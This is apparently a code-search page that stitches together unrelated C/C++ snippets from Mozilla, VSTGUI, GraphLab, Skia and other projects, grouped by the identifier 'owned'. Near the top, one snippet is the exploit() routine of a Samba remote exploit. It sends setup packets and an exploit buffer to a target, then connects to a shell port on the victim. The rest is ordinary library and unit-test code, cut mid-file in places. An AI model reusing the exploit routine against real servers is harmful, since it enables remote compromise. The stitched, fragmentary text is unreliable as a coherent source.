MOZ_MUST_USE mozilla::Maybe<SharedImmutableString>
SharedImmutableStringsCache::getOrCreate(OwnedChars&& chars, size_t length)
{
    OwnedChars owned(mozilla::Move(chars));
    MOZ_ASSERT(owned);
    return getOrCreate(owned.get(), length, [&]() { return mozilla::Move(owned); });
}
void
exploit (void)
{
   BOOLEAN status;
   char outside[333];

   if(!(status = connection (target, port)))
      fatal (" [~] Error in connection\n");

   /* here we setup connection */
   if (send (fdsocket, setup1, sizeof (setup1)-1, 0) < 0)
      fatal (" [~] Error in setup (1) connection\n");
   recv (fdsocket, outside, sizeof (outside)-1, 0);

   if (send (fdsocket, setup2, sizeof (setup2)-1, 0) < 0)
      fatal (" [~] Error in setup (2) connection\n");
   recv (fdsocket, outside, sizeof (outside)-1, 0);

   /* exploiting samba */
   if (send (fdsocket, buffer, sizeof (buffer)-1, 0) < 0)
      fatal (" [~] Error in exploiting samba\n");

   if (send (fdsocket, zero, sizeof (zero)-1, 0) < 0)
      fatal (" [~] Error in exploiting samba\n");

   close (fdsocket);

   if((status = connection (target, SHELL)))
   {
      owned (fdsocket);
      close (fdsocket);
   }
}
Example #3
0
//----------------------------------------------------------------------------------------------------
void UISearchTextField::drawClearMark (CDrawContext* context) const
{
	if (getText ().empty ())
		return;

	SharedPointer<CGraphicsPath> path = owned (context->createGraphicsPath ());
	if (path == 0)
		return;

	CRect r = getClearMarkRect ();
	CColor color (fontColor);
	color.alpha /= 2;
	context->setFillColor (color);
	context->setDrawMode (kAntiAliasing);
	context->drawEllipse (r, kDrawFilled);
	double h,s,v;
	color.toHSV (h, s, v);
	v = 1. - v;
	color.fromHSV (h, s, v);
	context->setFrameColor (color);
	context->setLineWidth (2.);
	r.inset (r.getWidth () / (M_PI * 2.) + 1, r.getHeight () / (M_PI * 2.) + 1);
	path->beginSubpath (r.getTopLeft ());
	path->addLine (r.getBottomRight ());
	path->beginSubpath (r.getBottomLeft ());
	path->addLine (r.getTopRight ());
	context->setDrawMode (kAntiAliasing|kNonIntegralMode);
	context->drawGraphicsPath (path, CDrawContext::kPathStroked);
}
    ReductionType map_reduce_vertices(GraphType& g,
                                      MapFunctionType mapfunction,
                                      const vertex_set& vset = GraphType::complete_set()) {
      BOOST_CONCEPT_ASSERT((graphlab::Serializable<ReductionType>));
      BOOST_CONCEPT_ASSERT((graphlab::OpPlusEq<ReductionType>));
      typedef typename GraphType::vertex_type vertex_type;

      if(!g.is_finalized()) {
        logstream(LOG_FATAL)
          << "\n\tAttempting to run graph.map_reduce_vertices(...) "
          << "\n\tbefore calling graph.finalize()."
          << std::endl;
      }
      g.dc().barrier();
      bool global_result_set = false;
      ReductionType global_result = ReductionType();
#ifdef _OPENMP
#pragma omp parallel
#endif
      {
        bool result_set = false;
        ReductionType result = ReductionType();
#ifdef _OPENMP
        #pragma omp for
#endif
        for (int i = 0; i < (int)g.num_local_vertices(); ++i) {
          auto lvertex = g.l_vertex(i);
          if (lvertex.owned() && vset.l_contains(lvid_type(i))) {
            if (!result_set) {
              vertex_type vtx(lvertex);
              result = mapfunction(vtx);
              result_set = true;
            }
            else if (result_set){
              const vertex_type vtx(lvertex);
              const ReductionType tmp = mapfunction(vtx);
              result += tmp;
            }
          }
        }
#ifdef _OPENMP
        #pragma omp critical
#endif
        {
          if (result_set) {
            if (!global_result_set) {
              global_result = result;
              global_result_set = true;
            }
            else {
              global_result += result;
            }
          }
        }
      }
      conditional_addition_wrapper<ReductionType>
        wrapper(global_result, global_result_set);
      g.dc().all_reduce(wrapper);
      return wrapper.value;
    } // end of map_reduce_vertices
Example #5
0
//-----------------------------------------------------------------------------
CBitmap::CBitmap (const CResourceDescription& desc)
: resourceDesc (desc)
{
	SharedPointer<IPlatformBitmap> platformBitmap = owned (IPlatformBitmap::create ());
	if (platformBitmap && platformBitmap->load (desc))
	{
		bitmaps.push_back (platformBitmap);
	}
}
Example #6
0
  const CharT* match(const std::string* str) {
    MOZ_ASSERT(str);
    size_t length = str->length() / sizeof(CharT);
    auto tempString = reinterpret_cast<const CharT*>(str->data());

    UniquePtr<CharT[], NSFreePolicy> owned(NS_strndup(tempString, length));
    if (!owned || !internedStrings.append(Move(owned)))
      return nullptr;

    return internedStrings.back().get();
  }
Example #7
0
int tool_main(int argc, char** argv) {
    SetupCrashHandler();
    SkCommandLineFlags::SetUsage("");
    SkCommandLineFlags::Parse(argc, argv);
    SkGraphics::Init();
    SkString header("PathOps SkpClip:");
    if (!FLAGS_match.isEmpty()) {
        header.appendf(" --match");
        for (int index = 0; index < FLAGS_match.count(); ++index) {
            header.appendf(" %s", FLAGS_match[index]);
        }
    }
    if (!FLAGS_dir.isEmpty()) {
        int count = FLAGS_dir.count();
        for (int i = 0; i < count; ++i) {
            const char* range = FLAGS_dir[i];
            const char* dash = strchr(range, '-');
            if (!dash) {
                dash = strchr(range, ',');
            }
            int first = atoi(range);
            int last = dash ? atoi(dash + 1) : first;
            if (!first || !last) {
                SkDebugf("couldn't parse --dir %s\n", range);
                return 1;
            }
            gDirs.set(first, last);
        }
    }
    if (!FLAGS_skp.isEmpty()) {
        gNames.set(FLAGS_skp);
    }
#ifdef SK_DEBUG
    header.append(" SK_DEBUG");
#else
    header.append(" SK_RELEASE");
#endif
    header.appendf(" skia_arch_width=%d", (int)sizeof(void*) * 8);
    if (FLAGS_verbose) {
        header.appendf("\n");
    }
    SkDebugf("%s", header.c_str());
    Iter iter;
    Test* test;
    while ((test = iter.next()) != NULL) {
        SkAutoTDelete<Test> owned(test);
        if (!SkCommandLineFlags::ShouldSkip(FLAGS_match, test->getName())) {
            test->run();
        }
    }
    SkGraphics::Term();
    return 0;
}
Example #8
0
//-----------------------------------------------------------------------------
void CSegmentButton::drawRect (CDrawContext* pContext, const CRect& dirtyRect)
{
	bool isHorizontal = style == kHorizontal;
	SharedPointer<CGraphicsPath> path;
	if (gradient || gradientHighlighted || (getFrameWidth () > 0. && getFrameColor ().alpha != 0))
	{
		CRect r (getViewSize ());
		r.inset (getFrameWidth () / 2., getFrameWidth () / 2.);
		path = owned (pContext->createGraphicsPath ());
		path->addRoundRect (r, getRoundRadius ());
	}
	pContext->setDrawMode (kAntiAliasing);
	bool drawLines = getFrameWidth () > 0. && getFrameColor ().alpha != 0;
	if (drawLines)
	{
		pContext->setLineStyle (kLineSolid);
		pContext->setLineWidth (getFrameWidth ());
		pContext->setFrameColor (getFrameColor ());
	}
	if (gradient)
	{
		pContext->fillLinearGradient (path, *gradient, getViewSize ().getTopLeft (), getViewSize ().getBottomLeft ());
	}
	uint32_t selectedIndex = getSelectedSegment ();
	for (uint32_t index = 0; index < segments.size (); ++index)
	{
		Segment& segment = segments[index];
		if (!dirtyRect.rectOverlap (segment.rect))
			continue;
		CRect oldClip;
		pContext->getClipRect (oldClip);
		CRect clipRect (segment.rect);
		clipRect.bound (oldClip);
		pContext->setClipRect (clipRect);
		bool selected = selectedIndex == index;
		if (selected && gradientHighlighted)
			pContext->fillLinearGradient (path, *gradientHighlighted, segment.rect.getTopLeft (), segment.rect.getBottomLeft ());
		if (selected && segment.backgroundHighlighted)
			segment.backgroundHighlighted->draw (pContext, segment.rect);
		else if (segment.background)
			segment.background->draw (pContext, segment.rect);
		CDrawMethods::drawIconAndText (pContext, selected ? segment.iconHighlighted : segment.icon, segment.iconPosition, textAlignment, textMargin, segment.rect, segment.name, font, selected ? textColorHighlighted : textColor);
		pContext->setClipRect (oldClip);
		if (drawLines && index > 0 && index < segments.size ())
		{
			path->beginSubpath (segment.rect.getTopLeft ());
			path->addLine (isHorizontal ? segment.rect.getBottomLeft () : segment.rect.getTopRight ());
		}
	}
	if (drawLines)
		pContext->drawGraphicsPath (path, CDrawContext::kPathStroked);
	setDirty (false);
}
Example #9
0
    std::string make_vimson_from_tokens(std::vector<Token> tokens) const
    {
        return "[" + std::accumulate(std::begin(tokens), std::end(tokens), std::string{}, [&](std::string const& acc, Token const& token){
            auto const kind = clang_getTokenKind(token);
            auto const spell = owned(clang_getTokenSpelling(translation_unit, token));
            auto const location = clang_getTokenLocation(translation_unit, token);

            CXFile file;
            unsigned int line, column, offset;
            clang_getFileLocation(location, &file, &line, &column, &offset);
            auto const source_name = owned(clang_getFileName(file));

            return acc
                + "{'spell':'" + clang_getCString(*spell)
                + "','kind':'" + get_kind_spelling(kind)
                + "','file':'" + clang_getCString(*source_name)
                + "','line':" + std::to_string(line)
                + ",'column':" + std::to_string(column)
                + ",'offset':" + std::to_string(offset)
                + "},";
        }) + "]";
    }
Example #10
0
const char16_t*
HeapSnapshot::borrowUniqueString(const char16_t* duplicateString, size_t length)
{
  MOZ_ASSERT(duplicateString);
  UniqueStringHashPolicy::Lookup lookup(duplicateString, length);
  auto ptr = strings.lookupForAdd(lookup);

  if (!ptr) {
    UniqueString owned(NS_strndup(duplicateString, length));
    if (!owned || !strings.add(ptr, Move(owned)))
      return nullptr;
  }

  MOZ_ASSERT(ptr->get() != duplicateString);
  return ptr->get();
}
//----------------------------------------------------------------------------------------------------
SharedPointer<UISelection> UIViewCreatorDataSource::createSelection ()
{
	SharedPointer<UISelection> selection;
	UIAttributes viewAttr;
	viewAttr.setAttribute (UIViewCreator::kAttrClass, getStringList ()->at (static_cast<uint32_t> (mouseDownRow)));
	CView* view = factory->createView (viewAttr, description);
	if (view)
	{
		if (view->getViewSize ().isEmpty ())
		{
			CRect size (CPoint (0, 0), CPoint (20, 20));
			view->setViewSize (size);
			view->setMouseableArea (size);
		}
		selection = owned (new UISelection ());
		selection->add (view);
		view->forget ();
	}
	return selection;
}
Example #12
0
    void parallel_for_vertices(GraphType& g,
                               std::vector<VertexFunctorType>& accfunction) {
      typedef typename GraphType::vertex_type vertex_type;
      ASSERT_TRUE(g.is_finalized());
      g.dc().barrier();
      int numaccfunctions = (int)accfunction.size();
      ASSERT_GE(numaccfunctions, 1);
#ifdef _OPENMP
      #pragma omp parallel for
#endif
      for (int i = 0; i < (int)accfunction.size(); ++i) {
        for (int j = i;j < (int)g.num_local_vertices(); j+=numaccfunctions) {
          auto lvertex = g.l_vertex(j);
          if (lvertex.owned()) {
            accfunction[i](vertex_type(lvertex));
          }
        }
      }
      g.dc().barrier();
    }
Example #13
0
//-----------------------------------------------------------------------------
void CGradientView::draw (CDrawContext* context)
{
	if (path == 0)
	{
		CRect r = getViewSize ();
		r.inset (frameWidth / 2., frameWidth / 2.);
		path = owned (context->createRoundRectGraphicsPath (r, roundRectRadius));
	}
	if (path && gradient)
	{
		context->setDrawMode (drawAntialiased ? kAntiAliasing : kAliasing);

		if (gradientStyle == kLinearGradient)
		{
			CPoint colorStartPoint (0, 0);
			colorStartPoint.x = getViewSize ().left + getViewSize ().getWidth () / 2 + cos (radians (gradientAngle-90)) * getViewSize ().getWidth () / 2;
			colorStartPoint.y = getViewSize ().top + getViewSize ().getHeight () / 2 + sin (radians (gradientAngle-90)) * getViewSize ().getHeight () / 2;
			CPoint colorEndPoint (0, getViewSize ().getHeight ());
			colorEndPoint.x = getViewSize ().left + getViewSize ().getWidth () / 2 + cos (radians (gradientAngle+90)) * getViewSize ().getWidth () / 2;
			colorEndPoint.y = getViewSize ().top + getViewSize ().getHeight () / 2 + sin (radians (gradientAngle+90)) * getViewSize ().getHeight () / 2;
			context->fillLinearGradient (path, *gradient, colorStartPoint, colorEndPoint, false);
		}
		else
		{
			CPoint center (radialCenter);
			center.x *= getViewSize ().getWidth ();
			center.y *= getViewSize ().getHeight ();
			center.offset (getViewSize ().left, getViewSize ().top);
			context->fillRadialGradient (path, *gradient, center, radialRadius * std::max (getViewSize ().getWidth (), getViewSize ().getHeight ()));
		}
		
		if (frameColor.alpha != 0 && frameWidth > 0.)
		{
			context->setDrawMode (drawAntialiased ? kAntiAliasing : kAliasing);
			context->setFrameColor (frameColor);
			context->setLineWidth (frameWidth);
			context->setLineStyle (kLineSolid);
			context->drawGraphicsPath (path, CDrawContext::kPathStroked);
		}
	}
}
Example #14
0
 void transform_vertices(GraphType& g,
                         TransformType transform_functor,
                         const vertex_set vset = GraphType::complete_set()) {
   typedef typename GraphType::vertex_type vertex_type;
   if(!g.is_finalized()) {
     logstream(LOG_FATAL)
         << "\n\tAttempting to call graph.transform_vertices(...)"
         << "\n\tbefore finalizing the graph."
         << std::endl;
   }
   g.dc().barrier();
   size_t ibegin = 0;
   size_t iend = g.num_local_vertices();
   parallel_for (ibegin, iend, [&](size_t i) {
       auto lvertex = g.l_vertex(i);
       if (lvertex.owned() && vset.l_contains(lvid_type(i))) {
         vertex_type vtx(lvertex);
         transform_functor(vtx);
       }
     });
   g.dc().barrier();
   g.synchronize();
 }
Example #15
0
// OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE  OF THIS SOFTWARE, EVEN IF ADVISED
// OF THE POSSIBILITY OF SUCH DAMAGE.
//-----------------------------------------------------------------------------

#include "../../../lib/cbitmap.h"
#include "../../../lib/ccolor.h"
#include "../../../lib/platform/iplatformbitmap.h"
#include "../unittests.h"

namespace VSTGUI {

TESTCASE(CBitmapTest,

	TEST(scaleFactor,
		CPoint p (10, 10);
		auto b1 = owned (IPlatformBitmap::create (&p));
		CBitmap bitmap (b1);
		p (20, 20);
		auto b2 = owned (IPlatformBitmap::create (&p));
		b2->setScaleFactor (2.);
		EXPECT (bitmap.addBitmap (b2));
		
		p (21, 21);
		auto b3 = owned(IPlatformBitmap::create (&p));
		EXPECT_EXCEPTION (bitmap.addBitmap(b3), "wrong bitmap size");
		
		EXPECT (bitmap.getBestPlatformBitmapForScaleFactor (0.5) == b1);
		EXPECT (bitmap.getBestPlatformBitmapForScaleFactor (1.0) == b1);
		EXPECT (bitmap.getBestPlatformBitmapForScaleFactor (1.4) == b1);
		EXPECT (bitmap.getBestPlatformBitmapForScaleFactor (1.5) == b2);
		EXPECT (bitmap.getBestPlatformBitmapForScaleFactor (1.6) == b2);
		auto viewSwitch = new UIViewSwitchContainer (CRect (0, 0, 100, 100));
		auto controller = new UIDescriptionViewSwitchController (viewSwitch, &uiDesc, nullptr);
		controller->setTemplateNames ("v1,v2");
		EXPECT(container->addView (viewSwitch));
		container->attached (rootView);
		EXPECT(viewSwitch->getView (0) == nullptr);
		viewSwitch->setCurrentViewIndex (0);
		EXPECT(dynamic_cast<View1*> (viewSwitch->getView (0)));
		viewSwitch->setCurrentViewIndex (1);
		EXPECT(dynamic_cast<View2*> (viewSwitch->getView (0)));
		container->removed (rootView);
	);

	TEST (switchViaControl,
		TestUIDescription uiDesc;
		auto rootView = owned (new CViewContainer (CRect (0, 0, 100, 100)));
		auto container = owned (new CViewContainer (CRect (0, 0, 100, 100)));
		auto viewSwitch = new UIViewSwitchContainer (CRect (0, 0, 100, 100));
		auto control = new COnOffButton (CRect (0, 0, 0, 0));
		control->setTag (1);
		auto controller = new UIDescriptionViewSwitchController (viewSwitch, &uiDesc, nullptr);
		controller->setTemplateNames ("v1,v2");
		controller->setSwitchControlTag (1);
		EXPECT(container->addView (control));
		EXPECT(container->addView (viewSwitch));
		container->attached (rootView);
		EXPECT(dynamic_cast<View1*> (viewSwitch->getView (0)));
		control->setValue (1.f);
		EXPECT(dynamic_cast<View2*> (viewSwitch->getView (0)));
		container->removed (rootView);
	);
void ConstructLocalOverlappingGrid(OvlpGrid       & ovlp_grid,
				   CellRange const& owned_c,
				   Geometry  const& geom, 
				   Overlap        & ovlp,
				   VertexCorr     & v_corr,
				   CellCorr       & c_corr)
{

  typedef typename CellRange::grid_type grid_type;

  enumerated_subrange<grid_type> owned(owned_c.TheGrid(),owned_c);

  // Fixme!!
  Geometry dummy(ovlp_grid.TheGrid());
  ConstructGridVC(ovlp_grid.TheGrid(),
		  //	    SubrangeFromCells(owned_c),
                  dummy,
		  owned,
		  geom,  
		  v_corr,   // global -> local
		  c_corr);  // global -> local
 
  enumerated_subrange<grid_type> copied(ovlp.cells().copied().TheGrid(), ovlp.cells().copied());


  // construct vertex identification by shared vertices
  typedef grid_types<grid_type>                  gt;
  typedef typename gt::vertex_handle             vertex_handle;
  bijective_mapping<vertex_handle,vertex_handle> id_shared;
  typedef typename Overlap::vertex_range_type         vrange;
  typedef typename vrange::const_iterator        v_range_iter;
  for(v_range_iter shv  = ovlp.vertices().shared().begin(); 
                   shv != ovlp.vertices().shared().end(); ++shv)
    id_shared[*shv] = v_corr(*shv);

  EnlargeGridVC(ovlp_grid.TheGrid(),
		//	      SubRangeFromCells(ovlp.cells().copied()),
		copied,
		geom,
		//	      restriction_map(v_corr, ovlp.vertices().shared()), // identify shared 
		id_shared,
		v_corr,  // v_corr remains unchanged on shared vertices
		c_corr);

  ovlp_grid.fine_grid_complete();

  //--------------------- copy the overlap ranges -------------------------------

  // make private ranges
  mark_private_range(ovlp.cells().privee(), owned_c.FirstCell(),
		     ovlp.cells().exposed(),ovlp.cells().shared(), ovlp.cells().copied());
  mark_private_range(ovlp.vertices().privee(), VerticesOfCells(owned_c).FirstVertex(),
		     ovlp.vertices().exposed(),ovlp.vertices().shared(), ovlp.vertices().copied());

  //-- not necessary:  ovlp_grid.init_overlap();

  typedef typename Overlap::CoarseCell CoarseCell;
  typedef typename Overlap::coarse_grid_type coarse_grid_type;
  typedef typename grid_types<coarse_grid_type>::cell_handle coarse_cell_handle;
  // semantics: ovlp_grid.TheOverlap() = ovlp  mod  global --> local ({v,c}_corr)
  CopyOverlap(ovlp_grid.TheOverlap(),
	      ovlp,
              ovlp_grid.TheCoarseGrid(), 
	      stdext::identity<coarse_cell_handle>(),   // ovlp.TheCoarse() == ovlp_grid.TheCoarse()
              ovlp_grid.TheGrid(),      // ovlp_grid.TheGrid() == local grid,
	                                // ovlp     .TheGrid() == global_grid
	      v_corr,                   // ovlp.TheGrid() --> ovlp_grid.TheGrid()
	      c_corr);                  // (   global     -->  local  )
}                                   
Example #18
0
		EXPECT (b->onMouseMoved (p, kLButton) == kMouseEventHandled);
		EXPECT (b->isEditing ());
		p (0, 0);
		EXPECT (b->onMouseUp (p, kLButton) == kMouseEventHandled);
		EXPECT (b->isEditing () == false);
		EXPECT (b->getValue () == b->getMax ());

		p (10, 10);
		EXPECT (b->onMouseDown (p, kLButton) == kMouseEventHandled);
		EXPECT (b->isEditing () == true);
		EXPECT (b->onMouseCancel() == kMouseEventHandled);
		EXPECT (b->isEditing () == false);
	);

	TEST(keyEvents,
		auto b = owned (new COnOffButton (CRect (10, 10, 50, 20)));
		b->setValue (b->getMin());
		VstKeyCode keyCode {};
		keyCode.virt = VKEY_RETURN;
		EXPECT (b->onKeyDown (keyCode) == 1);
		EXPECT (b->getValue () == b->getMax ());
		EXPECT (b->onKeyDown (keyCode) == 1);
		EXPECT (b->getValue () == b->getMin ());
		
		keyCode.virt = 0;
		keyCode.character = 't';
		EXPECT (b->onKeyDown (keyCode) == -1);
	);
	
);
Example #19
0
//-----------------------------------------------------------------------------
CBitmap::CBitmap (CCoord width, CCoord height)
{
	CPoint p (width, height);
	bitmaps.push_back (owned (IPlatformBitmap::create (&p)));
}
Example #20
0
void BulkData::change_entity_owner( const std::vector<EntityProc> & arg_change )
{
  static const char method[] = "stk::mesh::BulkData::change_entity_owner" ;

  const MetaData  & meta = m_mesh_meta_data ;
  const unsigned  p_rank = m_parallel_rank ;
  const unsigned  p_size = m_parallel_size ;
  ParallelMachine p_comm = m_parallel_machine ;

  //------------------------------
  // Verify the input changes, generate a clean local change list, and
  // generate the remote change list so that all processes know about
  // pending changes.

  std::vector<EntityProc> local_change( arg_change );

  // Parallel synchronous clean up and verify the requested changes:
  clean_and_verify_parallel_change( method , *this , local_change );

  //----------------------------------------
  // Parallel synchronous determination of changing
  // shared and ghosted.

  std::vector<EntityProc> ghosted_change ;
  std::vector<EntityProc> shared_change ;

  generate_parallel_change( *this , local_change ,
                            shared_change , ghosted_change );

  //------------------------------
  // Have enough information to delete all effected ghosts.
  // If the closure of a ghost contains a changing entity
  // then that ghost must be deleted.
  // Request that all ghost entities in the closure of the ghost be deleted.

  typedef std::set<EntityProc,EntityLess> EntityProcSet;
  typedef std::set<Entity*,EntityLess> EntitySet;

  // Closure of the owner change for impacted ghost entities.

  EntityProcSet send_closure ;

  for ( std::vector<EntityProc>::iterator
        i = local_change.begin() ; i != local_change.end() ; ++i ) {
    insert_closure_send( *i , send_closure );
  }

  {
    EntitySet work ;

    for ( std::vector<EntityProc>::const_iterator
          i = ghosted_change.begin() ; i != ghosted_change.end() ; ++i ) {
      insert_transitive_ghost( i->first , m_parallel_rank , work );
    }

    for ( std::vector<EntityProc>::const_iterator
          i = shared_change.begin() ; i != shared_change.end() ; ++i ) {
      insert_transitive_ghost( i->first , m_parallel_rank , work );
    }

    for ( EntityProcSet::iterator
          i = send_closure.begin() ; i != send_closure.end() ; ++i ) {
      insert_transitive_ghost( i->first , m_parallel_rank , work );
    }

    // The ghosted change list will become invalid
    ghosted_change.clear();

    std::vector<EntityProc> empty ;
    std::vector<Entity*> effected_ghosts( work.begin() , work.end() );

    // Skip 'm_ghosting[0]' which is the shared subset.
    for ( std::vector<Ghosting*>::iterator
          ig = m_ghosting.begin() + 1 ; ig != m_ghosting.end() ; ++ig ) {
      // parallel synchronous:
      internal_change_ghosting( **ig , empty , effected_ghosts );
    }
  }

  //------------------------------
  // Consistently change the owner on all processes.
  // 1) The local_change list is giving away ownership.
  // 2) The shared_change may or may not be receiving ownership

  {
    PartVector owned( 1 );
    owned[0] = & meta.locally_owned_part();

    for ( std::vector<EntityProc>::iterator
          i = local_change.begin() ; i != local_change.end() ; ++i ) {
      // Giving ownership, change the parts first and then
      // the owner rank to pass the ownership test.
      change_entity_parts( * i->first , PartVector() , owned );

      m_entity_repo.set_entity_owner_rank( *(i->first), i->second);
    }

    for ( std::vector<EntityProc>::iterator
          i = shared_change.begin() ; i != shared_change.end() ; ++i ) {
      m_entity_repo.set_entity_owner_rank( *(i->first), i->second);
      if ( p_rank == i->second ) { // I receive ownership
        change_entity_parts( * i->first , owned , PartVector() );
      }
    }
  }

  //------------------------------
  // Send entities, along with their closure, to the new owner processes
  {
    std::ostringstream error_msg ;
    int error_count = 0 ;

    CommAll comm( p_comm );

    for ( std::set<EntityProc,EntityLess>::iterator
          i = send_closure.begin() ; i != send_closure.end() ; ++i ) {
      CommBuffer & buffer = comm.send_buffer( i->second );
      Entity     & entity = * i->first ;
      pack_entity_info( buffer , entity );
      pack_field_values( buffer , entity );
    }

    comm.allocate_buffers( p_size / 4 );

    for ( std::set<EntityProc,EntityLess>::iterator
          i = send_closure.begin() ; i != send_closure.end() ; ++i ) {
      CommBuffer & buffer = comm.send_buffer( i->second );
      Entity     & entity = * i->first ;
      pack_entity_info( buffer , entity );
      pack_field_values( buffer , entity );
    }

    comm.communicate();

    for ( unsigned p = 0 ; p < p_size ; ++p ) {
      CommBuffer & buf = comm.recv_buffer(p);
      while ( buf.remaining() ) {
        PartVector parts ;
        std::vector<Relation> relations ;
        EntityKey key ;
        unsigned  owner = ~0u ;

        unpack_entity_info( buf, *this, key, owner, parts, relations );

        // Received entity information will be correct,
        // modulo the owned and shared parts

        remove( parts , meta.globally_shared_part() );

        if ( owner == p_rank ) {
          // Must have the locally_owned_part
          insert( parts , meta.locally_owned_part() );
        }
        else {
          // Must not have the locally_owned_part
          remove( parts , meta.locally_owned_part() );
        }

        std::pair<Entity*,bool> result =
          m_entity_repo.internal_create_entity( key );

        m_entity_repo.log_created_parallel_copy( *(result.first) );

        // The entity was copied and not created.

        m_entity_repo.set_entity_owner_rank( *(result.first), owner);

        internal_change_entity_parts( *result.first , parts , PartVector() );

        declare_relation( *result.first , relations );

        if ( ! unpack_field_values( buf , * result.first , error_msg ) ) {
          ++error_count ;
        }
      }
    }

    all_reduce( p_comm , ReduceSum<1>( & error_count ) );

    if ( error_count ) { throw std::runtime_error( error_msg.str() ); }

    // Any entity that I sent and is not in an owned closure is deleted.
    // The owned closure will be effected by received entities, so can
    // only clean up after the newly owned entities have been received.
    // Destroy backwards so as not to invalidate closures in the process.

    {
      Entity * entity = NULL ;

      for ( std::set<EntityProc,EntityLess>::iterator
            i = send_closure.end() ; i != send_closure.begin() ; ) {

        Entity * e = (--i)->first ;

        // The same entity may be sent to more than one process.
        // Only evaluate it once.

        if ( entity != e ) {
          entity = e ;
          if ( ! member_of_owned_closure( *e , p_rank ) ) {
            if ( ! destroy_entity( e ) ) {
              throw std::logic_error(std::string("BulkData::destroy_entity FAILED"));
            }
          }
        }
      }
    }

    send_closure.clear(); // Has been invalidated
  }
}
Example #21
0
//-----------------------------------------------------------------------------
IPlatformString* UTF8String::getPlatformString () const
{
	if (platformString == 0)
		platformString = owned (IPlatformString::createWithUTF8String (get ()));
	return platformString;
}
Example #22
0
//----------------------------------------------------------------------------------------------------
void UIColorSlider::updateBackground (CDrawContext* context)
{
	double scaleFactor = context->getScaleFactor ();
	SharedPointer<COffscreenContext> offscreen = owned (COffscreenContext::create (getFrame (), getWidth (), getHeight (), scaleFactor));
	if (offscreen)
	{
		const int32_t kNumPoints = (style <= kLightness) ? 360 : 256;
		CCoord width = std::floor (getWidth () + 0.5);
		offscreen->beginDraw ();
		offscreen->setDrawMode (kAliasing);
		CCoord minWidth = 1. / scaleFactor;
		CCoord widthPerColor = width / static_cast<double> (kNumPoints - 1);
		CRect r;
		r.setHeight (getHeight ());
		r.setWidth (widthPerColor < minWidth ? minWidth : (std::floor (widthPerColor * scaleFactor + 0.5) / scaleFactor));
		r.offset (-r.getWidth (), 0);
		offscreen->setLineWidth (minWidth);
		for (int32_t i = 0; i < kNumPoints; i++)
		{
			CCoord x = std::floor (widthPerColor * i * scaleFactor + 0.5) / scaleFactor;
			if (x > r.right || i == kNumPoints -1)
			{
				CColor c = color->base ();
				switch (style)
				{
					case kRed:
					{
						c.red = (uint8_t)i;
						break;
					}
					case kGreen:
					{
						c.green = (uint8_t)i;
						break;
					}
					case kBlue:
					{
						c.blue = (uint8_t)i;
						break;
					}
					case kAlpha:
					{
						c.alpha = (uint8_t)i;
						break;
					}
					case kHue:
					{
						double hue = (static_cast<double> (i) / static_cast<double> (kNumPoints)) * 360.;
						c.fromHSL (hue, color->getSaturation (), color->getLightness ());
						break;
					}
					case kSaturation:
					{
						double sat = (static_cast<double> (i) / static_cast<double> (kNumPoints));
						c.fromHSL (color->getHue (), sat, color->getLightness ());
						break;
					}
					case kLightness:
					{
						double light = (static_cast<double> (i) / static_cast<double> (kNumPoints));
						c.fromHSL (color->getHue (), color->getSaturation (), light);
						break;
					}
				}
				offscreen->setFrameColor (c);
				CCoord next = r.left + widthPerColor;
				while (r.left < next)
				{
					offscreen->drawLine (r.getTopLeft (), r.getBottomLeft ());
					r.offset (minWidth, 0);
				}
			}
		}
		offscreen->drawLine (r.getTopLeft (), r.getBottomLeft ());
		offscreen->endDraw ();
		setBackground (offscreen->getBitmap ());
	}
	if (getHandle () == 0)
	{
		offscreen = owned (COffscreenContext::create (getFrame (), 7, getHeight (), context->getScaleFactor ()));
		if (offscreen)
		{
			offscreen->beginDraw ();
			offscreen->setFrameColor (kBlackCColor);
			offscreen->setLineWidth (1);
			offscreen->setDrawMode (kAliasing);
			CRect r (0, 0, 7, getHeight ());
			offscreen->drawRect (r, kDrawStroked);
			r.inset (1, 1);
			offscreen->setFrameColor (kWhiteCColor);
			offscreen->drawRect (r, kDrawStroked);
			offscreen->endDraw ();
			setHandle (offscreen->getBitmap ());
		}
	}
}